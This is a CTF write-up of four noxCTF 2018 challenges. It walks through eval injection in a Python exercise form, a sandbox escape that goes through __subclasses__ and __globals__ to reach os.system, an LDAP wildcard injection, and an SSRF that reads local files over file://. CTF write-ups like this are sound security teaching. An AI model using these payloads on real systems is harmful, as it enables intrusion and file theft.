noxCTF 2018 - Write-ups - Part 1

🔗Information

🔗CTF

🔗292 - Python for fun - Misc

Welcome to noxale's online python class!!! You can try it for free for a limited time and learn basic programming in python 3. http://chal.noxale.com:8000

On http://chal.noxale.com:8000/match_signature_to_body there is a function definition like def fun() where we can pass two arguments, that are interpreted.

The form is like that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
        <form action="/match_signature_to_body" method="post">
<input type='hidden' name='csrfmiddlewaretoken' value='OTNDzFTNnUsskr7gZ7YYCL7u2AkG3PXWR7WJ1xEgtvQelJDzSs1rTaCieFMdj8eN' />
<div class="row">
<div class="col s12">
def fun(
<div class="input-field inline">
<input type="text" name="answer" required id="id_answer" />
</div>
):
</div>
</div>
<pre><code class="python">
c = a + b
return c
</code></pre>
<button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
</form>

This is the only page we can exploit because other pages are just a multiple value form like this one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        <form action="/fix_the_code" method="post">
<input type='hidden' name='csrfmiddlewaretoken' value='q0z6g07MYz6yA4TnZIEDGfaI5r42BWXTteIcISSf4aukBmpGS3H6XEFwhwwzRfeK' />
<div>
<p>
<label>
<input type="radio" name="answer" value="0" id="id_answer_0" required />
<span>b -= 15</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="1" id="id_answer_1" required />
<span>a += 25</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="2" id="id_answer_2" required />
<span>b += 25</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="3" id="id_answer_3" required />
<span>a += 15</span>
</label>
</p>
</div>
<button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
</form>

So match signature to body is the only exercise where user input is taken.

The legitimate answer is a,b.

But we can try to inject a default value to some parameters a,b=dir()[0].

It's still valid.

Now try to display something if we want to leak the flag: a,b=print("toto").

This is not a good answer anymore but this is evaluated and it displays toto:

Nice now we try to leak some stuff:

1
a,b=print(exec("import os"),eval("os.listdir('.')"))
1
None ['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']

1
a,b=print(open("FLAG", "r").read())

Flag is: noxCTF{py7h0n_15_4w350m3}

🔗634 - Python for fun 2 - Misc

A hacker found a sec hole in our online python class :( He read our secret file which contains the secret way of milking a snake! After hunting him down, we fixed the hole so no one will ever milk a snake again http://chal.noxale.com:8001

If we try our payloads from Python for fun 1 we get an error Illegal use! (open) or Illegal use! (exec). There must be a blacklist now.

Let's craft a payload to bypass the blacklist.

Create a string class (also works with list or dict)

1
2
>>> ''.__class__
<class 'str'>

Now we need the parent class, there is two ways:

1
2
3
4
5
6
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>

Now we have the object class. So we can access to all the child classes:

1
2
>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'rlcompleter.Completer'>]

Let's find a more suitable way to access the subclasses by index:

1
2
3
>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
... print(i,': ',val)
...

In python2 we could call some dangerous class from here but in python3 this is a little more complex.

I find a pyjail WU where someone was able to call sys from codecs.StreamReaderWriter class.

1
2
''.__class__.__mro__[1].__subclasses__()[104]
<class 'codecs.StreamReaderWriter'>

Using __init__ to initialize the class and __globals__ to access the global namespace of the module in which the function was defined.

A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.

cf. https://docs.python.org/3/reference/datamodel.html

So from this namespace we are able to call sys.

1
2
>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"]
<module 'sys' (built-in)>

Then it's easy to import os:

1
2
>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/lib/python3.7/os.py'>

And finally using system method to launch a system command and read the flag:

1
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

Flag is noxCTF{py7h0n_15_6r347}.

🔗902 - Dictionary of obscure sorrows - Web

There are a lot of obscure sorrows in our world.

Your job is not to find those that are plain in sight;

You need to seek further, look deeper.

Find the word that can not be written.

The most obscure sorrow of them all.

http://54.152.220.222/

Disclosure: I flaged it after the end of the CTF

If we change a real page name (ex: Sonder) with s* this is still displaying the right page:

But requesting http://54.152.220.222/word.php?page=b* returns me an error message Query returned empty so I knew there was an LDAP injection.

Now we need to know the params to inject.

By requesting the page http://54.152.220.222/word.php without a parameter I got the following error Missing RDN inside ObjectClass(document).

So we know ObjectClass is document.

Let's find the attributes of document on https://oav.net/mirrors/LDAP-ObjectClasses.html

document objectclass have these attributes:

  • commonName
  • description
  • seeAlso
  • l
  • o
  • ou
  • documentTitle
  • documentVersion
  • documentAuthor
  • documentLocation
  • documentPublisher

Looking at the template there is the title displayed and a description.

Also we know the flag format is noxCTF{}.

So let's try to find an object where the description attribute begin with nox.

By requesting http://54.152.220.222/word.php?page=*)(description=nox* I got the flag noxCTF{K1NG_0F_LD4P}.

🔗670 - hiddenDOM - Web

I decided to create a tool that searches for hidden elements inside a web pages. Few days ago someone told me that my website is not so /secure/... Can you check it yourself ?

http://chal.noxale.com:5588

Disclosure: I flaged it after the end of the CTF

I first checked the source code where I found obfuscated javascript.

1
var _0x3bc3=["\x6D\x61\x69\x6E\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x69\x6E\x70\x75\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6E\x61\x6D\x65","\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x74\x65\x78\x74","\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72","\x2F\x3C\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x68\x69\x64\x64\x65\x6E\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x3E\x2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10])

I did a first pass of deobfuscation with http://jsnice.org/

1
2
3
4
5
6
7
8
'use strict';
/** @type {!Array} */
var _0x3bc3 = ["main_form", "getElementById", "input", "createElement", "name", "expression", "setAttribute", "type", "text", "placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"];
var _frss = document[_0x3bc3[1]](_0x3bc3[0]);
var _xEger = document[_0x3bc3[3]](_0x3bc3[2]);
_xEger[_0x3bc3[6]](_0x3bc3[4], _0x3bc3[5]);
_xEger[_0x3bc3[6]](_0x3bc3[7], _0x3bc3[8]);
_xEger[_0x3bc3[6]](_0x3bc3[9], _0x3bc3[10]);

And did a second pass manually:

1
2
3
4
5
var _frss = document["getElementById"]("main_form"); /* <form id="main_form" action="index.php" style="position:sticky;"> */
var _xEger = document["createElement"]("input"); /* <input> */
_xEger["setAttribute"]("name", "expression"); /* <input name="expression"> */
_xEger["setAttribute"]("type", "text"); /* <input name="expression" type="text"> */
_xEger["setAttribute"]("placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"); /* <input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text"> */

So the javascript is creating those two HTML elements:

1
2
<form id="main_form" action="index.php" style="position:sticky;">
<input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text">

So we can see an extra parameter expression is used.

Also there is somewhere in the source code:

1
<a href='/var/www/html/flag.txt' hidden >-_-</a>

So we know where we have to look for the flag.

Targeting the page itself http://chal.noxale.com:5588/index.php?target=http://chal.noxale.com:5588/index.php is revealing us a new obfuscated javascript block.

After jsnice:

1
2
3
4
5
6
7
8
9
10
11
12
13
'use strict';
/** @type {!Array} */
var _0x2b80 = ["slow", "fadeOut", "#hidden_elements", "click", "#hideArea", "ready", "fadeIn", "#showArea"];
$(document)[_0x2b80[5]](function() {
$(_0x2b80[4])[_0x2b80[3]](function() {
$(_0x2b80[2])[_0x2b80[1]](_0x2b80[0]);
});
});
$(document)[_0x2b80[5]](function() {
$(_0x2b80[7])[_0x2b80[3]](function() {
$(_0x2b80[2])[_0x2b80[6]](_0x2b80[0]);
});
});

After manual deobfuscation:

1
2
3
4
5
6
7
8
9
10
$(document)["ready"](function() {
$("#hideArea")["click"](function() {
$("#hidden_elements")["fadeOut"]("slow");
});
});
$(document)["ready"](function() {
$("#showArea")["click"](function() {
$("#hidden_elements")["fadeIn"]("slow");
});
});

This is just the code for toggling the hidden area. It's useless for us.

We can also target trhe localhost: http://chal.noxale.com:5588/index.php?target=http://127.0.0.1 so we know we are looking for a SSRF.

Targeting file://etc/passwd is working, but as long as there is no line with hidden inside, it won't display anything. Because the regex on server side is displaying only lines matching /<[^<>]{1,}hidden[^<>]{1,}>/ as we saw during the deobfuscation.

So let's use an expression like /nox.*/ to show the flag: http://13.59.2.198:5588/?target=file:///var/www/html/flag.txt&expression=/nox.*/

The flag is noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}.

Share